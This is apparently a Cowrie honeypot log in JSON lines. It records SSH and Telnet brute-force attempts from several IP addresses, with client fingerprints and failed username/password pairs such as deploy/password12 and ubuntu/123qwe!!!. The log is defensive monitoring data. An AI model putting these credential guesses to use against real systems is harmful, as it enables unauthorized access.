{"eventid":"cowrie.session.connect","src_ip":"50.6.248.168","src_port":59040,"dst_ip":"10.17.0.5","dst_port":22,"session":"19548a9e4068","protocol":"ssh","message":"New connection: 50.6.248.168:59040 (10.17.0.5:22) [session: 19548a9e4068]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:13:38.738411Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:13:38.743373Z","src_ip":"50.6.248.168","session":"19548a9e4068","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:13:38.764463Z","src_ip":"50.6.248.168","session":"19548a9e4068","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123qwe!!!","message":"login attempt [ubuntu/123qwe!!!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:13:38.878597Z","src_ip":"50.6.248.168","session":"19548a9e4068","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:13:39.902986Z","src_ip":"50.6.248.168","session":"19548a9e4068","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.103.210","src_port":25354,"dst_ip":"10.17.0.5","dst_port":22,"session":"0038f5cc61a4","protocol":"ssh","message":"New connection: 107.150.103.210:25354 (10.17.0.5:22) [session: 0038f5cc61a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:13:43.337549Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:13:43.341973Z","src_ip":"107.150.103.210","session":"0038f5cc61a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:13:43.412314Z","src_ip":"107.150.103.210","session":"0038f5cc61a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"password12","message":"login attempt [deploy/password12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:13:43.725200Z","src_ip":"107.150.103.210","session":"0038f5cc61a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:13:44.798856Z","src_ip":"107.150.103.210","session":"0038f5cc61a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.248.168","src_port":44892,"dst_ip":"10.17.0.5","dst_port":22,"session":"3de2fdb7c72a","protocol":"ssh","message":"New connection: 50.6.248.168:44892 (10.17.0.5:22) [session: 3de2fdb7c72a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:14:30.894262Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:14:30.899804Z","src_ip":"50.6.248.168","session":"3de2fdb7c72a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:14:30.917063Z","src_ip":"50.6.248.168","session":"3de2fdb7c72a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest3","password":"guest123","message":"login attempt [guest3/guest123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:14:31.028478Z","src_ip":"50.6.248.168","session":"3de2fdb7c72a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:14:32.061074Z","src_ip":"50.6.248.168","session":"3de2fdb7c72a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.45","src_port":48260,"dst_ip":"159.203.135.109","dst_port":23,"session":"503bd385d84c","protocol":"telnet","message":"New connection: 176.65.139.45:48260 (159.203.135.109:23) [session: 503bd385d84c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:14:39.409255Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":64460,"dst_ip":"10.17.0.5","dst_port":22,"session":"23673373679e","protocol":"ssh","message":"New connection: 194.59.206.2:64460 (10.17.0.5:22) [session: 23673373679e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:15:02.160594Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:15:02.165293Z","src_ip":"194.59.206.2","session":"23673373679e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:15:02.289757Z","src_ip":"194.59.206.2","session":"23673373679e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:15:02.384958Z","src_ip":"194.59.206.2","session":"23673373679e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.103.210","src_port":56324,"dst_ip":"10.17.0.5","dst_port":22,"session":"bae18442dc57","protocol":"ssh","message":"New connection: 107.150.103.210:56324 (10.17.0.5:22) [session: bae18442dc57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:15:05.313167Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:15:05.318637Z","src_ip":"107.150.103.210","session":"bae18442dc57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:15:05.389319Z","src_ip":"107.150.103.210","session":"bae18442dc57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"qwert!@#$%","message":"login attempt [test/qwert!@#$%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:15:05.710637Z","src_ip":"107.150.103.210","session":"bae18442dc57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:15:06.785035Z","src_ip":"107.150.103.210","session":"bae18442dc57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":29.765531063079834,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:15:09.174679Z","src_ip":"176.65.139.45","session":"503bd385d84c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.248.168","src_port":41846,"dst_ip":"10.17.0.5","dst_port":22,"session":"9fcb6823480e","protocol":"ssh","message":"New connection: 50.6.248.168:41846 (10.17.0.5:22) [session: 9fcb6823480e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:15:22.674600Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:15:22.679957Z","src_ip":"50.6.248.168","session":"9fcb6823480e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:15:22.706829Z","src_ip":"50.6.248.168","session":"9fcb6823480e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pppuser","password":"pppuser","message":"login attempt [pppuser/pppuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:15:22.821470Z","src_ip":"50.6.248.168","session":"9fcb6823480e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:15:23.846207Z","src_ip":"50.6.248.168","session":"9fcb6823480e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.164.126.57","src_port":42600,"dst_ip":"10.17.0.5","dst_port":23,"session":"72cb9212aad0","protocol":"telnet","message":"New connection: 45.164.126.57:42600 (10.17.0.5:23) [session: 72cb9212aad0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:15:27.404334Z"}
{"eventid":"cowrie.session.closed","duration":30.67874312400818,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:15:58.082971Z","src_ip":"45.164.126.57","session":"72cb9212aad0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.248.168","src_port":60282,"dst_ip":"10.17.0.5","dst_port":22,"session":"70a3e9b7f67e","protocol":"ssh","message":"New connection: 50.6.248.168:60282 (10.17.0.5:22) [session: 70a3e9b7f67e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:16:14.131192Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:16:14.137874Z","src_ip":"50.6.248.168","session":"70a3e9b7f67e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:16:14.158026Z","src_ip":"50.6.248.168","session":"70a3e9b7f67e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webuser","password":"1","message":"login attempt [webuser/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:16:14.269459Z","src_ip":"50.6.248.168","session":"70a3e9b7f67e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:16:15.292637Z","src_ip":"50.6.248.168","session":"70a3e9b7f67e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.248.168","src_port":48138,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b901b3213a4","protocol":"ssh","message":"New connection: 50.6.248.168:48138 (10.17.0.5:22) [session: 2b901b3213a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:17:03.686118Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:17:03.693416Z","src_ip":"50.6.248.168","session":"2b901b3213a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:17:03.711233Z","src_ip":"50.6.248.168","session":"2b901b3213a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"password12","message":"login attempt [deploy/password12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:17:03.829046Z","src_ip":"50.6.248.168","session":"2b901b3213a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:17:04.854525Z","src_ip":"50.6.248.168","session":"2b901b3213a4","protocol":"ssh"}
